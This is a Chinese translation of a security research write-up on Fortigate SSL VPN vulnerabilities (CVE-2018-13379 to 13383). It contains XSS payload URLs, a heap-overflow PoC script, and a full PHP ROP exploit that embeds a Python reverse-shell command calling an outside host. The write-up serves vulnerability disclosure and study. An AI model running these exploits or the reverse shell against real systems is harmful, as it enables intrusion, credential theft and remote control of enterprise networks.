Fortigate SSL VPN从漏洞挖掘到漏洞利用分析

birdpwn 漏洞 2019年9月16日发布
Favorite收藏

导语:我们对龙头SSL VPN供应商的CVE数量进行了一些调查: 看起来Fortinet和Pulse Secure是最安全的。作为一个myth buster,我们接受了这一挑战并开始挖掘Fortinet和Pulse Secure中的漏洞!这篇文章就是关于挖掘和利用Fortigate SSL漏洞的 VPN

上个月,我们发布了Palo Alto Networks GlobalProtect RCE作为一个预热,现在这篇文章将是我们的主要研究成果,如果你不能去Black Hat或DEFCON参加我们的演讲,可以学习下面的PPT!

· 像NSA一样渗透企业内部网:在SSL VPN主流 厂商的VPN上进行RCE漏洞利用

0x00 研究调查

故事始于去年8月,当时我们开始了一个关于SSL VPN的新研究项目。与站点到站点VPN(如IPSEC和PPTP)相比,SSL VPN更易于使用,并且可与任何网络环境兼容,SSL VPN成为企业最流行的远程访问方式!

但是,如果这个可靠的设备不安全怎么办?它是一项重要的企业资产,但却是公司的盲点。根据我们对500强公司的调查,前三大SSL VPN厂商占据了约75%的市场份额。SSL VPN的多样性很窄,因此,一旦我们发现龙头SSL VPN存在严重漏洞,其影响就会很大。

这种漏洞也没有办法阻止我们,因为SSL VPN必须暴露在互联网上。

在我们的研究开始时,我们对龙头SSL VPN供应商的CVE数量进行了一些调查: 看起来Fortinet和Pulse Secure是最安全的。真的吗?作为一个myth buster,我们接受了这一挑战并开始挖掘Fortinet和Pulse Secure中的漏洞!这篇文章就是关于攻击Fortigate SSL VPN。

下一篇文章将是关于Pulse Secure,很精彩,敬请关注!

1567581627208.png

0x01  Fortigate SSL VPN

Fortinet将其SSL VPN产品线称为Fortigate SSL VPN,这在中型企业中很常见。互联网上有超过480,000台服务器,在亚洲和欧洲很常见。

我们可以通过URL识别它/remote/login,这是Fortigate的技术特征:

· 一体化(All-in-one)二进制文件

我们从文件系统开始研究。我们试图列出/bin/下的所有二进制文件,发现所有符号链接都指向/bin/init。就像这样:

1567582152059.png

Fortigate将所有程序和配置编译成一个二进制文件,这使得init非常庞大。 它包含数千个函数,没有符号! 它只包含SSL VPN的必要程序,因此对于黑客很不友好。 例如,甚至没有/ bin / ls或/ bin / cat!`

· Web守护进程

Fortigate上运行了2个Web界面。 一个是管理界面,在端口443上使用/ bin / httpsd处理。另一个是普通用户界面,默认情况下使用端口4433上的/ bin / sslvpnd处理。 通常,管理页面应限制在互联网上,因此我们只能访问用户界面。

通过我们的调查,我们发现Web服务器是apache的修改版本,但它是2002年的apache。显然他们在2002年修改了apache并添加了自己的附加功能。 我们可以映射apache的源代码以加速我们的分析。

在这两个Web服务中,他们还将自己的apache模块编译成二进制文件来处理每个URL路径。 我们可以找到一个指定处理程序表并深入研究它们!

· WebVPN

WebVPN是一种方便的代理功能,它允许我们通过浏览器连接到所有服务。它支持许多协议,如HTTP,FTP,RDP。它还可以处理各种Web资源,例如WebSocket和Flash。要正确处理网站,它会解析HTML并为我们重写所有网址。这涉及繁重的字符串操作,很容易产生内存漏洞。

0x02 挖到的漏洞

这是我们发现了几个漏洞:

1.CVE-2018-13379:预授权任意文件读取漏洞

在获取相应的语言文件时,它使用参数lang构建json文件路径:

 snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

没有保护,但会自动附加文件扩展名,我们只能读取json文件。 但是,实际上我们可以使用snprintf的功能。 根据手册,它最多将size-1写入输出字符串。 因此,我们只需要使它超过缓冲区大小,并且.json将被strip,然后就可以读取任意文件了。

2.CVE-2018-13380:预认证XSS

有几个XSS:

 /remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
 /remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
 /message?title=x&msg=%26%23<svg/onload=alert(1)>;

3.CVE-2018-13381:预验证堆溢出漏洞

在编码HTML实体代码时,有两个阶段,服务器首先计算编码字符串所需的缓冲区长度,然后编码到缓冲区。

在计算阶段,例如,编码字符串为<is <,这应该占用5个字节。如果遇到&#,例如<,就会加入已经编码的令牌,并直接计算其长度。

 c = token[idx];
 if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>')
     cnt += 5;
 else if(c == '&' && html[idx+1] == '#')
     cnt += len(strchr(html[idx], ';')-idx);

但是,长度计算和编码过程之间存在不一致,编码部分的处理并不多:

 switch (c)
 {
     case '<':
         memcpy(buf[counter], "<", 5);
         counter += 4;
         break;
     case '>':
     // ...
     default:
         buf[counter] = c;
         break;
     counter++;
 }

如果我们输入恶意字符串&#<<<;,<仍然被编码成<,所以结果应该是&#<<<;!这比预期的长度6个字节长得多,因此会导致堆溢出。

PoC如下:

 import requests
  data = {
     'title': 'x', 
     'msg': '&#' + '<'*(0x20000) + ';<', 
 }
 r = requests.post('https://sslvpn:4433/message', data=data)

4.CVE-2018-13382:神奇的后门

在登录页面中,我们找到了一个名为magic的特殊参数,一旦参数符合硬编码字符串,就可以修改任何用户的密码。

根据我们的调查显示,仍有大量的Fortigate SSL VPN没有打补丁。因此,考虑到其严重性,我们不会透露magic字符串。但是,CodeWhite的研究人员已经公布这个漏洞,其他攻击者很快就会利用此漏洞!请尽快更新Fortigate VPN!

1567585671314.png

1567585701561.png

5.CVE-2018-13383:授权后堆溢出漏洞

这是WebVPN功能的漏洞,在HTML中解析JavaScript时,它会尝试使用以下代码将内容复制到缓冲区中:

 memcpy(buffer,js_buf,js_buf_len);

缓冲区大小固定为0x2000,但输入字符串不受限制。 因此,就会存在堆溢出漏洞。值得注意的是,此漏洞可能会溢出Null字节,这在我们的利用中很有用。

要触发此溢出,我们需要将漏洞利用代码发送到HTTP服务器上,然后让SSL VPN将我们的漏洞利用代码以普通用户权限执行。

0x03 漏洞利用代码开发

我们将向你展示如何在没有身份验证的情况下从用户登录界面中进行RCE

1.CVE-2018-13381

我们的第一次尝试是利用pre-auth堆溢出。但是,此漏洞存在一个根本缺陷:它不会溢出Null字节。一般来说,这不是一个严重的问题。如今的堆利用技术已经克服了这个问题。然而,我们发现Fortigate上有几个障碍,使堆利用不稳定,难以控制。

· Single thread, single process, single allocator Web守护进程处理多个epoll()连接,没有多进程或多线程,主进程和库使用的是相同的堆,称为JeMalloc。这意味着,来自所有连接的所有操作的所有内存分配都在同一堆上。因此,堆空间真的很乱。

· 定期触发 这会干扰堆空间导致无法控制,我们无法控制堆空间,因为它会被销毁掉。

· Apache额外的内存管理

直到连接结束才会有内存free(),我们无法在一个连接中布置堆。实际上,这可以有效地缓解堆漏洞,尤其是对于UAF的漏洞。

· JeMalloc  JeMalloc隔离了元数据和用户数据,因此很难修改元数据并使用堆管理。此外,它集中了小的objects,这也限制了我们的利用。

我们被困在这里,然后我们选择尝试另一种方式。如果有人成功利用这一点,请教教我们!

2.CVE-2018-13379 + CVE-2018-13383

这是pre-auth文件读取和post-auth堆溢出的组合。一个用于获取身份验证,一个用于获取shell。

· 获得身份验证

我们首先使用CVE-2018-13379来泄漏会话文件。会话文件包含有价值的信息,例如用户名和明文密码,可以让我们轻松登录到系统上。

1567586324584.png

· get shell

登录后,我们可以要求SSL VPN代理我们的恶意HTTP服务器上的漏洞,然后触发堆溢出。

由于上面提到的问题,我们需要一个很好的目标来溢出。我们无法仔细控制堆,但也许我们可以找到经常出现的something !然而,从这个庞大的程序中找到这样一个目标是一项艰苦的工作,所以当时我们陷入困境……我们开始Fuzzing,试图获得有用的东西。

1567586443305.png

我们得到了一个有趣的crash, 我们可以控制程序计数器! 这就是为什么我们喜欢模糊测试:)

 Program received signal SIGSEGV, Segmentation fault.
 0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
 2: /x $rax = 0x41414141
 1: x/i $pc
 => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
 (gdb)

crash发生在SSL_do_handshake()

 SSL_do_handshake()
 int SSL_do_handshake(SSL *s)
 {
     // ...
      s->method->ssl_renegotiate_check(s, 0);
      if (SSL_in_init(s) || SSL_in_before(s)) {
         if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
             struct ssl_async_args args;
              args.s = s;
              ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
         } else {
             ret = s->handshake_func(s);
         }
     }
     return ret;
 }

我们覆盖了struct SSL里面的函数表调用方法,所以当程序试图执行s-> method-> ssl_renegotiate_check(s,0);时,它就崩溃了。

这是我们利用的理想目标! 结构SSL的分配可以很容易地触发,并且大小接近我们的JaveScript缓冲区,所以它可以在我们的缓冲区附近有一个常规的偏移量! 根据代码,我们可以看到ret = s-> handshake_func(s); 调用函数指针,这是控制程序流的完美选择。

这样我们的利用方案就明确了:

首先使用具有大量正常请求的SSL结构来做堆喷,然后溢出SSL结构。

1567586491666.png

 <?php
     function p64($address) {
         $low = $address & 0xffffffff;
         $high = $address >> 32 & 0xffffffff;
         return pack("II", $low, $high);
     }
     $junk = 0x4141414141414141;
     $nop_func = 0x32FC078;
      $gadget  = p64($junk);
     $gadget .= p64($nop_func - 0x60);
     $gadget .= p64($junk);
     $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
     $gadget .= p64($junk);
     $gadget .= p64($junk);
     $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
     $gadget .= p64(0x1bed1f6); // pop rax ; ret ;
     $gadget .= p64(0x58);
     $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
     $gadget .= p64(0x1366639); // call system ;
     $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";
      $p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
     $p .= $gadget;
     $p .= str_repeat('A', 0x1000 - strlen($gadget));
     $p .= $gadget;
 ?>
 <a href="javascript:void(0);<?=$p;?>">xxx</a>

PoC可以分为三个部分。

1.Fake SSL structure

SSL结构对缓冲区有一个常规的偏移量,因此可以精确地伪造它。为了避免崩溃,我们将方法设置为包含void函数指针的位置。此时的参数是SSL结构本身,但是,方法前面只有8个字节。我们不能在HTTP服务器上简单地调用system(“/ bin / sh”),这对我们拿到shell命令来说还不够。

由于二进制文件很大,很容易找到ROP gadgets,发现了一个有用的堆栈数据:

 push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;

因此我们将handshake_func设置为此gadgets,将rsp移动到SSL结构,并进行进一步的ROP攻击。

2.ROP chain

这里的ROP链很简单,稍微向前移动rdi,这样反向shell命令就有了足够的空间。

3.Overflow string

最后,我们连接overflow padding and exploit,一旦溢出SSL结构成功,就会得到shell。

0x04 漏洞利用演示

ROP链payload

1567587393665.png

可以得到shell命令

1567587447682.png

溢出字符串

1567587469405.png

成功拿到shell

1567587550920.png

本文翻译自:https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html如若转载,请注明原文地址: https://www.4hou.com/vulnerable/20170.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论